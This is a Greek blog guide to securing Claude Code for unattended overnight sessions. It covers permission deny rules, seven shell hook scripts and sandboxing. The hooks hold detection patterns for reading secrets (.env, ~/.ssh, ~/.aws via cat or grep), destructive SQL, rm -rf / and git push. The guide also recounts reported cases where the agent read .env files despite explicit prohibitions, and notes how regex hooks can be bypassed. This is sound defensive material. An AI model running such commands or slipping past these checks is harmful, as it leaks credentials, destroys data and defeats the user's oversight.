Ιστολόγιο

Πώς να ρυθμίσετε το Claude Code ώστε να μην καταστρέψει το έργο σας μέσα στη νύχτα

Markdown

7 hooks, το settings.json με δικαιώματα και μια λίστα ελέγχου 12 σημείων για να αφήσετε το Claude Code να δουλεύει όλη τη νύχτα χωρίς να χαθούν το .env ή μια βάση δεδομένων. Προστασία σε 4 επίπεδα.

Διαβάστε ολόκληρο το άρθρο

Τεκμηρίωση Ailoot — υλικό αναφοράς για τη χρήση της υπηρεσίας.

Τι αλλάζει το 2026: Αυτόνομο Claude Code και πραγματικά περιστατικά

Κύριο συμπέρασμα

Το 2026, η Anthropic κυκλοφόρησε τα auto-mode, /loop και /schedule — το Claude Code μπορεί πλέον να εργάζεται για ώρες χωρίς επιβεβαιώσεις. Το τίμημα της αυτονομίας είναι πραγματικά περιστατικά: διαγραφή βάσεων δεδομένων παραγωγής, διαρροές .env και ένα σφάλμα στο permissions.deny που δεν έχει διορθωθεί ακόμη. Αυτός ο οδηγός παρουσιάζει 4 επίπεδα προστασίας που πρέπει να εφαρμόσετε πριν από την πρώτη νυχτερινή εκτέλεση.

Παλαιότερα, το Claude Code σταματούσε μετά από κάθε απάντηση και ζητούσε άδεια για κάθε εγγραφή. Ήταν άβολο, αλλά ασφαλές: δεν μπορούσατε κυριολεκτικά να κοιμηθείτε ενώ συνέβαινε κάποιο περιστατικό, επειδή ο agent περίμενε το «ναι» σας. Το 2026, αυτό το μοντέλο άλλαξε. Η Anthropic κυκλοφόρησε το auto-mode — ένας ξεχωριστός agent ταξινόμησης αποφασίζει εκ μέρους σας αν θα επιτρέψει κάθε ενέργεια. Εμφανίστηκε η εντολή /loop (εκτελεί μια προτροπή σε τακτά διαστήματα μέσα σε μια συνεδρία), όπως και η /schedule (προγραμματισμός τύπου cron για εργασίες μεγάλης διάρκειας). Οι συνεδρίες παρασκηνίου που ξεκινούν με claude --bg εκτελούν τον agent στο παρασκήνιο χωρίς τερματικό. Κάλυψα αναλυτικά την αυτόνομη λειτουργία στον οδηγό «/goal στο Claude Code: Αυτόνομη λειτουργία και προβολή agent».

Το πρόβλημα είναι ότι η αυτονομία κυκλοφόρησε ταχύτερα από όσο ακολούθησε η ασφάλεια.

Πριν από μερικές εβδομάδες, του ζήτησα να «τακτοποιήσει», και κατέληξε να διαγράψει τόσο τις βάσεις δεδομένων παραγωγής όσο και ανάπτυξης.

— browningstreet

Ταυτόχρονα, υπάρχουν δύο ανοιχτά σφάλματα στο αποθετήριο της Anthropic που πρέπει να γνωρίζετε πριν προσθέσετε το permissions.deny στο settings.json:

  • Ζήτημα #44868 (7 Απριλίου 2026): Το Claude Code διαβάζει τα περιεχόμενα του .env μέσω grep -n και τα εμφανίζει στο ιστορικό συνομιλίας, παρά τη ρητή απαγόρευση στο CLAUDE.md. Το σφάλμα παραμένει ανοιχτό.
  • Ζήτημα #24846 (11 Φεβρουαρίου 2026): οι κανόνες permissions.read.deny για μοτίβα .env* δεν εφαρμόζονται — το Read διαβάζει το .env.local παρά τον σωστό κανόνα deny. Έκλεισε ως διπλότυπο, χωρίς να διορθωθεί.

Αυτά τα δύο κενά δείχνουν γιατί ένα επίπεδο προστασίας στο settings.json δεν αρκεί. Ακολουθεί μοντέλο τεσσάρων επιπέδων: δικαιώματα + hooks + sandbox + διαχωρισμός συνεδριών. Καθένα μπορεί να μειώνει έκθεση, αλλά κανένα δεν κάνει πλήρη τα άλλα. Η παρατιθέμενη αξιολόγηση auto-mode δεν αποδεικνύει ότι ένα regex hook εντοπίζει τις αστοχίες του. Για παραγωγή, χρησιμοποιήστε απομονωμένο περιβάλλον λειτουργικού συστήματος χωρίς διαπιστευτήρια ή δικαίωμα εγγραφής παραγωγής, επιβάλετε περιορισμούς δικτύου έξω από το μοντέλο και δοκιμάστε αυτά τα όρια πριν από ανεπιτήρητη εκτέλεση.

Τι είναι οι πράσινες και οι κόκκινες ζώνες έργου;

Κύριο συμπέρασμα

Πράσινη ζώνη: ένα τοπικό έργο χωρίς ενεργούς πελάτες ή χρήματα. Κόκκινη ζώνη: οτιδήποτε έχει βάση δεδομένων παραγωγής, πληρωμές ή προσωπικά δεδομένα. Στην πράσινη ζώνη, μπορείτε να χρησιμοποιείτε το auto-mode με ελάχιστα hooks. Στην κόκκινη ζώνη, η προστασία αποτελείται από 4 επίπεδα και η χρήση του --dangerously-skip-permissions απαγορεύεται αρχιτεκτονικά.

Δεν έχει νόημα να κατασκευάζετε την ίδια προστασία για κάθε έργο. Ένα τοπικό προσωπικό έργο στον υπολογιστή σας που δεν έχει αναπτυχθεί εξωτερικά ενέχει εντελώς διαφορετικό επίπεδο κινδύνου από μια υπηρεσία που διαχειρίζεται πραγματικές πληρωμές και αποθηκεύει δεδομένα πελατών. Αν χρησιμοποιείτε την ίδια προστασία παντού, θα περιορίσετε την ταχύτητα στην πράσινη ζώνη και θα αφήσετε κενά στην κόκκινη.

Ένα έργο μεταβαίνει από την πράσινη στην κόκκινη ζώνη μόλις ισχύσει έστω μία από τρεις προϋποθέσεις: εμφανιστούν ενεργοί πελάτες, αρχίσουν να διακινούνται χρήματα μέσω του συστήματος ή η βάση δεδομένων περιέχει προσωπικά δεδομένα ανθρώπων. Μέχρι τότε, μπορείτε να χρησιμοποιείτε το auto-mode, ελάχιστα hooks και καθόλου sandbox. Από εκεί και πέρα, η προστασία πρέπει να αναδιαμορφωθεί σύμφωνα με την πλήρη ρύθμιση αυτού του οδηγού.

Η βασική αρχή: το επίπεδο προστασίας εξαρτάται από τη ζώνη. Το στάδιο ανάπτυξης δεν μετράει. Ένα προσωπικό έργο στον υπολογιστή σας με δοκιμαστικό λογαριασμό Stripe βρίσκεται στην πράσινη ζώνη. Μια υπηρεσία με έναν πελάτη που πληρώνει και μια φόρμα εγγραφής βρίσκεται ήδη στην κόκκινη ζώνη, ακόμη κι αν εξακολουθεί να μοιάζει με «προσχέδιο». Η σύγχυση αυτών των ζωνών είναι συνηθισμένη παγίδα στα πρώτα στάδια ενός έργου: «είμαστε ακόμη στο προσχέδιο, θα προσθέσουμε προστασία αργότερα», και μετά ο πρώτος πελάτης πληρώνει την επόμενη εβδομάδα.

Πώς λειτουργεί η ιεραρχία δικαιωμάτων στο settings.json;

Κύριο συμπέρασμα

Στο settings.json, οι κανόνες deny υπερισχύουν πάντα των allow, ενώ οι εμβέλειες (user → project → local → managed) συγχωνεύονται αντί να αντικαθίστανται. Ένας κανόνας deny σε επίπεδο χρήστη για τα .env, *.pem και ~/.ssh/** σας προστατεύει ακόμη και στο αποθετήριο κάποιου άλλου. Το κλειδί disableBypassPermissionsMode αποκλείει επίσης αρχιτεκτονικά τη λειτουργία YOLO.

Η Anthropic περιγράφει την ιεραρχία αξιολόγησης δικαιωμάτων στην επίσημη τεκμηρίωσή της: οι κανόνες deny ελέγχονται πρώτα, έπειτα οι ask και μετά οι allow — υπερισχύει ο πρώτος κανόνας που ταιριάζει. Αυτό σημαίνει ότι το deny υπερισχύει πάντα του allow. Αν απαγορεύσετε την ανάγνωση του .env στο ~/.claude/settings.json και κάποιος ορίσει allow στο .claude/settings.json του έργου, θα ισχύσει η δική σας απαγόρευση, όχι η δική του άδεια.

Παράδειγμα ενός ελάχιστου, ασφαλούς ~/.claude/settings.json σε επίπεδο χρήστη:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Τι συμβαίνει εδώ; Οι πρώτοι έξι κανόνες αποκλείουν την ανάγνωση μυστικών αρχείων στον τρέχοντα κατάλογο και σε όλους τους υποκαταλόγους. Τα *.pem και *.key είναι κλειδιά SSL/TLS και SSH. Το credentials*.json είναι ένα τυπικό όνομα αρχείου που χρησιμοποιούν οι πάροχοι cloud. Οι τρεις τελευταίοι κανόνες αφορούν καταλόγους συστήματος που περιέχουν κλειδιά SSH, διαπιστευτήρια AWS και κλειδιά GPG.

Το κλειδί disableBypassPermissionsMode: "disable" αποκλείει τη σημαία --dangerously-skip-permissions (γνωστή και ως λειτουργία YOLO). Έτσι εξαλείφεται οριστικά μία κατηγορία λαθών: ακόμη κι αν προσθέσετε κατά λάθος αυτή τη σημαία σε ένα script ή alias, το Claude Code θα αρνηθεί να τη δεχτεί. Δεν θα την αφαιρέσει απλώς — θα επιστρέψει το σφάλμα “mode disabled by managed settings”.

Επιπλέον, από την έκδοση 2.1.142 και μετά, το κλειδί defaultMode: "auto" αγνοείται αν βρίσκεται στις ρυθμίσεις project ή local. Αυτό προστατεύει από το ενδεχόμενο «μπήκα σε αποθετήριο κάποιου άλλου και το .claude/settings.json του έχει ενεργοποιημένη την αυτόματη λειτουργία από προεπιλογή». Η Anthropic δήλωσε ρητά ότι τα αποθετήρια δεν μπορούν να ενεργοποιήσουν το auto-mode χωρίς τη συγκατάθεση του χρήστη.

Αυτή είναι η πρώτη γραμμή προστασίας. Δεν μπορείτε να σταματήσετε εδώ, επειδή έχει δύο κενά που θα δείτε στη συνέχεια.

Γιατί δεν αρκεί το permissions.deny: 2 ανοιχτά ζητήματα στο GitHub

Κύριο συμπέρασμα

Τον Απρίλιο του 2026, ένας χρήστης υπέβαλε το ζήτημα #44868 στο αποθετήριο της Anthropic: το Claude διαβάζει το .env μέσω grep -n και εμφανίζει τα περιεχόμενά του στο ιστορικό, παρά την απαγόρευση στο CLAUDE.md. Τον Φεβρουάριο, το ζήτημα #24846 ανέφερε ότι το permissions.read.deny για .env* δεν λειτουργεί στο επίπεδο του εργαλείου Read. Και τα δύο παραμένουν ανοιχτά, και σημαίνουν ότι το settings.json χωρίς hook από πάνω μοιάζει με κόσκινο που στάζει.

Αν το permissions.deny λειτουργούσε, ο οδηγός θα μπορούσε να είχε τελειώσει στην προηγούμενη ενότητα. Δεν λειτουργεί.

Το ζήτημα #44868 (7 Απριλίου 2026): ο χρήστης πρόσθεσε ρητή απαγόρευση στο CLAUDE.md για την ανάγνωση των .env, .dev.vars και άλλων αρχείων που περιέχουν μυστικά. Αντί να χρησιμοποιήσει το Read, το Claude εκτέλεσε grep -n SOMETHING .env. Η εντολή grep -n εμφανίζει ολόκληρη τη γραμμή που ταιριάζει μαζί με τον αριθμό της — συμπεριλαμβανομένου του πραγματικού API token. Η γραμμή εισάγεται στο tool_result, αποδίδεται στο ιστορικό της συνεδρίας και αποθηκεύεται στο ιστορικό.

Το λεπτό σημείο που επισημαίνει ο συντάκτης: το αντανακλαστικό ασφαλείας του μοντέλου ενεργοποιείται αφού έχει ήδη παραχθεί η έξοδος, όχι πριν εκτελεστεί η εντολή. Με άλλα λόγια, το Claude εκτελεί πρώτα το grep, λαμβάνει μια γραμμή που περιέχει το token και την εμφανίζει στη συνομιλία — μόνο τότε αντιλαμβάνεται το λάθος του και «ζητά συγγνώμη». Μέχρι τότε, το token βρίσκεται ήδη στο ιστορικό συνομιλίας. Η μόνη λύση είναι να περιστρέψετε το κλειδί.

Το ζήτημα #24846 (11 Φεβρουαρίου 2026): ο χρήστης ρύθμισε το permissions.read.deny με μια λίστα που περιλάμβανε το μοτίβο **/.env*. Έπειτα ζήτησε από το Claude να διαβάσει το .env.local. Το εργαλείο Read ολοκλήρωσε χωρίς σφάλματα και εμφάνισε τα περιεχόμενα του αρχείου.

Το ζήτημα έκλεισε ως διπλότυπο, αλλά δεν διορθώθηκε. Τη στιγμή που γράφτηκε αυτός ο οδηγός (Ιούνιος 2026), μπορούσε να αναπαραχθεί.

Συμπέρασμα: Το Επίπεδο 1 στο settings.json δεν είναι άσκοπη προσπάθεια, αλλά αυτά τα παραδείγματα δεν μετρούν ποιο ποσοστό τυχαίων αναγνώσεων αποτρέπει. Δεν αποτρέπει όμως εντολές μέσω Bash (cat .env, grep API_KEY .env, head .env), σφάλματα επιβολής (ζήτημα #24846) ή έξυπνες αλυσίδες ενεργειών που χρησιμοποιούν git diff ή git show σε commit που περιέχει .env. Γι’ αυτό χρειάζεστε δεύτερο επίπεδο — hooks.

Πώς μπορούν τα hooks να αποκλείουν αναγνωρισμένες επικίνδυνες ενέργειες;

Κύριο συμπέρασμα

Στο Claude Code, τα hooks είναι shell scripts που εκτελούνται σε συγκεκριμένα συμβάντα (PreToolUse, UserPromptSubmit, Stop) και μπορούν να αποκλείσουν μια ενέργεια με κωδικό εξόδου 2 ή JSON που περιέχει permissionDecision: "deny". Σε αντίθεση με τα permissions και το CLAUDE.md, ένα hook είναι middleware: παρεμβάλλεται πριν από την εκτέλεση της κλήσης, χωρίς να εμπλέκεται το μοντέλο.

Τα hooks λειτουργούν σε διαφορετικό επίπεδο αφαίρεσης από τα δικαιώματα. Τα δικαιώματα είναι κανόνες που λαμβάνει υπόψη το μοντέλο όταν αποφασίζει τι θα κάνει. Ένα hook λειτουργεί διαφορετικά: το μοντέλο αποφασίζει να καλέσει ένα εργαλείο, το hook εκτελείται ανάμεσα στο μοντέλο και το σύστημα, ελέγχει την είσοδο και είτε επιτρέπει είτε αποκλείει την ενέργεια. Το μοντέλο δεν συμμετέχει στην απόφαση του hook — είναι κώδικας shell που γράφετε εσείς.

Η Anthropic περιγράφει τη συμπεριφορά αποκλεισμού στην επίσημη τεκμηρίωση των hooks:

Ο κωδικός εξόδου 2 σημαίνει σφάλμα αποκλεισμού. Το Claude Code αγνοεί το stdout και όλο το JSON που περιέχει. Αντί γι’ αυτά, το κείμενο του stderr επιστρέφεται στο Claude ως μήνυμα σφάλματος.

— Τεκμηρίωση Claude Code (Hooks), https://code.claude.com/docs/en/hooks

Αυτό σημαίνει δύο πράγματα. Πρώτον, ένα σωστά ρυθμισμένο blocking hook μπορεί να αρνηθεί την κλήση εργαλείου που ταιριάζει. Στο PreToolUse, ο κωδικός εξόδου 2 μπλοκάρει εκείνη την κλήση· δεν αποδεικνύει ότι το script αναγνωρίζει κάθε επικίνδυνη ισοδύναμη εντολή. Δεύτερον, μπορείτε να βάλετε ένα ουσιαστικό μήνυμα στο stderr, και το Claude θα το διαβάσει ως σφάλμα και θα δοκιμάσει άλλη προσέγγιση. Με άλλα λόγια, ένα hook δεν είναι απλώς ένας «φράχτης»· είναι ένας «φράχτης με πινακίδα που εξηγεί γιατί δεν μπορείτε να περάσετε».

Συμβάντα που μπορούν να αποκλειστούν με κωδικό εξόδου 2:

  • PreToolUse—αποκλείει την κλήση του εργαλείου πριν από την εκτέλεσή της. Το κύριο συμβάν για αμυντικά hooks.
  • PermissionRequest—αρνείται την άδεια για μια ενέργεια για την οποία το Claude ζήτησε άδεια.
  • UserPromptSubmit—αποκλείει και διαγράφει την προτροπή του χρήστη. Χρήσιμο αν η προτροπή περιέχει ύποπτο κείμενο (για παράδειγμα, prompt injection από φυτευμένο email).
  • Stop—εμποδίζει το Claude να τερματίσει τη συνεδρία. Μπορεί να χρησιμοποιηθεί ως «βρόχος» ώστε ο agent να συνεχίσει να εργάζεται μέχρι να ικανοποιηθεί μια προϋπόθεση.
  • PreCompact—αποκλείει την αυτόματη συμπίεση του πλαισίου. Χρήσιμο αν θέλετε να διατηρήσετε το ιστορικό μέχρι να πάρετε χειροκίνητη απόφαση.
  • WorktreeCreate—απορρίπτει τη δημιουργία worktree. Προστασία από την απόπειρα του Claude να κλωνοποιήσει ένα αποθετήριο σε απρόσμενη τοποθεσία.

Εναλλακτική του κωδικού εξόδου 2 είναι η επιστροφή JSON με πεδίο hookSpecificOutput.permissionDecision. Το permissionDecision έχει τέσσερις πιθανές τιμές:

  • allow—επιτρέπει ρητά την ενέργεια, παρακάμπτοντας τη συνήθη ροή δικαιωμάτων.
  • deny—αποκλείει την ενέργεια, ισοδύναμο με κωδικό εξόδου 2 για το PreToolUse.
  • ask—παραπέμπει την απόφαση στον χρήστη (εμφανίζεται ένα παράθυρο διαλόγου).
  • defer—παραπέμπει την απόφαση στη συνήθη λογική δικαιωμάτων.

Έτσι, ένα hook έχει μεγαλύτερο έλεγχο από έναν κωδικό εξόδου. Με το permissionDecision: "ask", μπορείτε να μετατρέψετε σιωπηλές ενέργειες σε ενέργειες που απαιτούν επιβεβαίωση, χωρίς να τις αποκλείσετε πλήρως. Αυτό κάνω για το npm install <new package> και τις αλλαγές στο lockfile.

Αν θέλετε να μάθετε περισσότερα για τον τρόπο λειτουργίας των hooks και ποια 31 συμβάντα είναι διαθέσιμα αυτήν τη στιγμή στο Claude Code, το κάλυψα σε ξεχωριστό οδηγό «Hooks στο Claude Code: 7 έτοιμοι κανόνες για αντιγραφή». Στη συνέχεια, θα παρουσιάσω συγκεκριμένα hooks για αυτόνομη εργασία.

Ποια 7 hooks χρησιμοποιώ για νυχτερινή εργασία;

Κύριο συμπέρασμα

Ενδεικτικά hooks PreToolUse για 7 σενάρια: επισήμανση επιλεγμένων αναγνώσεων μυστικών, αποκλεισμός αναγνωρισμένων κυριολεκτικών κλήσεων git push, φιλτράρισμα επιλεγμένων μοτίβων SQL και rm -rf, έλεγχος εγκαταστάσεων πακέτων και αλλαγών manifests και καταγραφή αντίστοιχων κλήσεων εργαλείων. Δοκιμάστε τοπικά αντιστοιχίσεις και αστοχίες πριν τα ενεργοποιήσετε. Αυτά τα regex παραδείγματα είναι ελλιπή και δεν θεμελιώνουν όριο ασφάλειας παραγωγής.

Αυτό είναι το δεύτερο επίπεδο προστασίας, που ενισχύει το πρώτο. Όλα τα hooks τοποθετούνται στο .claude/hooks/, δηλώνονται μέσω του .claude/settings.json και απαιτούν να είναι εγκατεστημένο το jq.

Hook 1: Προστασία των .env, .pem και credentials.json από ανάγνωση

Προσθέτει ελέγχους για επιλεγμένες διαδρομές Read και συνηθισμένες εντολές Bash ανάγνωσης μυστικών. Δεν εντοπίζει κάθε εργαλείο ή κάθε τρόπο ανάγνωσης μυστικού. Αρχείο: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Καταχώριση στο .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Μετά την εγκατάσταση, εκτελέστε chmod +x .claude/hooks/block-secret-reads.sh. Δοκιμή: ζητήστε από το Claude να διαβάσει το .env.local — θα λάβετε την απάντηση “Secret file. Use op:// references or env vars.” αντί για τα περιεχόμενα του αρχείου.

Hook 2: Αποκλεισμός κυριολεκτικών κλήσεων git push σε νυχτερινές συνεδρίες

Για ανεπιτήρητη συνεδρία, το παράδειγμα αποκλείει συντηρητικά κάθε κυριολεκτικό git push που αναγνωρίζει, μαζί με pushes προς branches λειτουργιών. Δεν προσπαθεί να συμπεράνει τον τρέχοντα κλάδο ή να αποφασίσει αν σημαία force είναι ασφαλής. Αρχείο: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Καταχωρίστε το μέσω PreToolUse με matcher Bash. Επειδή μπλοκάρει αναγνωρισμένη εντολή push αντί να αναλύει σημαίες και ονόματα κλάδων, εντοπίζει git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main και κυριολεκτικό push σε αλυσίδα && ή ;. Είναι παραδείγματα αντιστοίχισης κειμένου εκτός σύνδεσης, όχι εντολές για εκτέλεση σε απομακρυσμένο αποθετήριο.

Παραμένει ευρετική κειμένου. Git aliases, συναρτήσεις κελύφους, git -C ... push, κατασκευασμένα ονόματα εντολών, scripts και άλλα εργαλεία μπορούν να την παρακάμψουν· δεν είναι πλήρης αναλυτής κελύφους. Επιβάλετε κανόνες προστατευμένων κλάδων στον διακομιστή Git, αφαιρέστε διαπιστευτήρια παράκαμψης και εκτελέστε ανεπιτήρητη εργασία σε απομονωμένο περιβάλλον χωρίς δικαίωμα εγγραφής παραγωγής. Μια αποτυχημένη αντιστοίχιση hook δεν πρέπει να παραχωρεί εξουσία παραγωγής.

Hook 3: Αποκλεισμός καταστροφικών λειτουργιών SQL

Αντιμετωπίζει άμεσα περιστατικά διαγραφής βάσεων δεδομένων. Αρχείο: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Καταχωρίστε το στο PreToolUse με matcher: "Bash". Σημειώστε τη διαφορά: οι εντολές DROP και DELETE χωρίς WHERE αποκλείονται πλήρως, ενώ το UPDATE χωρίς WHERE γίνεται ask — μπορεί να είναι νόμιμο κάποιες φορές (για παράδειγμα, να οριστεί μια σημαία σε όλες τις εγγραφές κατά τη διάρκεια migration), αλλά απαιτεί πάντα χειροκίνητη επιβεβαίωση.

Hook 4: Φίλτρο rm -rf

Κανονικό παράδειγμα από την τεκμηρίωση της Anthropic, προσαρμοσμένο ώστε να απορρίπτει με αιτιολογία:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Το hook επιτρέπει τα rm -rf node_modules, rm -rf .next/cache και άλλες διαγραφές με ρητά καθορισμένη εμβέλεια. Αποκλείει τα rm -rf ., rm -rf /, rm -rf ~ και παρόμοιες εντολές «σβήσε τα πάντα».

Hook 5: Επιβεβαίωση εγκατάστασης νέων πακέτων

Αυτό το hook αντιμετωπίζει επιθέσεις στην αλυσίδα εφοδιασμού. Αν το Claude αποφασίσει από μόνο του να προσθέσει μια νέα εξάρτηση, εμφανίζεται παράθυρο διαλόγου:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Το hook αφήνει τις εγκαταστάσεις από lockfile να προχωρούν ελεύθερα, ενώ για την προσθήκη νέας εξάρτησης απαιτείται επιβεβαίωση.

Hook 6: Προστασία του package.json και του Lockfile

Κάθε αλλαγή σε ένα αρχείο δηλώσεων εξαρτήσεων είναι λόγος να το ελέγξει κάποιος. Ειδικά μέσα στη νύχτα.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Καταχωρίστε το στο PreToolUse με matcher Write|Edit.

Hook 7: Αρχείο καταγραφής ελέγχου από άκρο σε άκρο για όλες τις κλήσεις Bash

Αν κάτι πάει στραβά μέσα στη νύχτα, χρειάζεστε πλήρες αρχείο καταγραφής για να κατανοήσετε τη σειρά των γεγονότων. Καταχωρίστε το στο settings.json (το hook δεν έχει ξεχωριστό script· το jq κάνει τα πάντα):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Το αρχείο .claude/audit.jsonl μεγαλώνει κατά μία γραμμή κάθε φορά. Το πρωί, μετά από ένα νυχτερινό /loop, μπορείτε να εκτελέσετε tail -n 100 .claude/audit.jsonl | jq και να δείτε τι έκανε ο agent σε κάθε σημείο. Αυτό είναι κρίσιμο για μια ανασκόπηση μετά το περιστατικό, επειδή το ιστορικό της συνεδρίας μπορεί να είναι μεγάλο και δυσανάγνωστο, ενώ το αρχείο ελέγχου παρέχει καθαρή χρονολογική εικόνα.

Πώς προστατεύουν το sandbox και η απομόνωση worktree τις συνεδρίες μεγάλης διάρκειας;

Κύριο συμπέρασμα

Το sandbox στο Claude Code είναι απομόνωση συστήματος αρχείων και δικτύου. Η Anthropic αναφέρει μείωση των αιτημάτων άδειας κατά 84% με ισοδύναμη ασφάλεια. Η απομόνωση δικτύου αποκλείει την εξαγωγή του .env σε απομακρυσμένο διακομιστή, ακόμη κι αν ο agent το έχει ήδη διαβάσει. Για μεγάλες συνεδρίες παρασκηνίου, το sandbox + worktree είναι υποχρεωτικά.

Αν τα hooks είναι ένας «φράχτης με πινακίδα», το sandbox είναι ένας «φράχτης + τάφρος + δίχτυ από drones». Είναι το τέταρτο επίπεδο προστασίας και καλύπτει περιπτώσεις όπου τα hooks επιτρέπουν μια ενέργεια, αλλά ακόμη κι η εκτέλεσή της δεν θα πρέπει να προκαλέσει ζημιά έξω από το περιβάλλον.

Στην ανάρτηση ιστολογίου για το sandboxing (20 Οκτωβρίου 2025), η Anthropic αναφέρει εσωτερικές μετρήσεις:

Σύμφωνα με τα εσωτερικά μας δεδομένα, το sandboxing μειώνει με ασφάλεια τα αιτήματα άδειας κατά 84%.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Αυτό σημαίνει ότι όταν ενεργοποιείτε το /sandbox, το Claude σταματά να ζητά άδεια για το 84% των ενεργειών, επειδή αυτές οι ενέργειες δεν μπορούν φυσικά να βγουν από το sandbox. Αυτό είναι χρήσιμο για την ταχύτητα, αλλά δεν είναι το κύριο όφελος.

Το sandbox παρέχει δύο επίπεδα απομόνωσης, καθένα με τον δικό του ρόλο:

Απομόνωση συστήματος αρχείων περιορίζει την ανάγνωση και εγγραφή σε ρητά επιτρεπόμενους καταλόγους. Ακόμη κι αν ένα hook δεν εντοπίσει μια απόπειρα εγγραφής στο /etc/hosts ή ανάγνωσης του ~/.ssh/id_rsa, το sandbox δεν θα επιτρέψει την κλήση συστήματος. Πρόκειται για προστασία σε επίπεδο λειτουργικού συστήματος. Το επίπεδο εφαρμογής δεν μπορεί να τη δει.

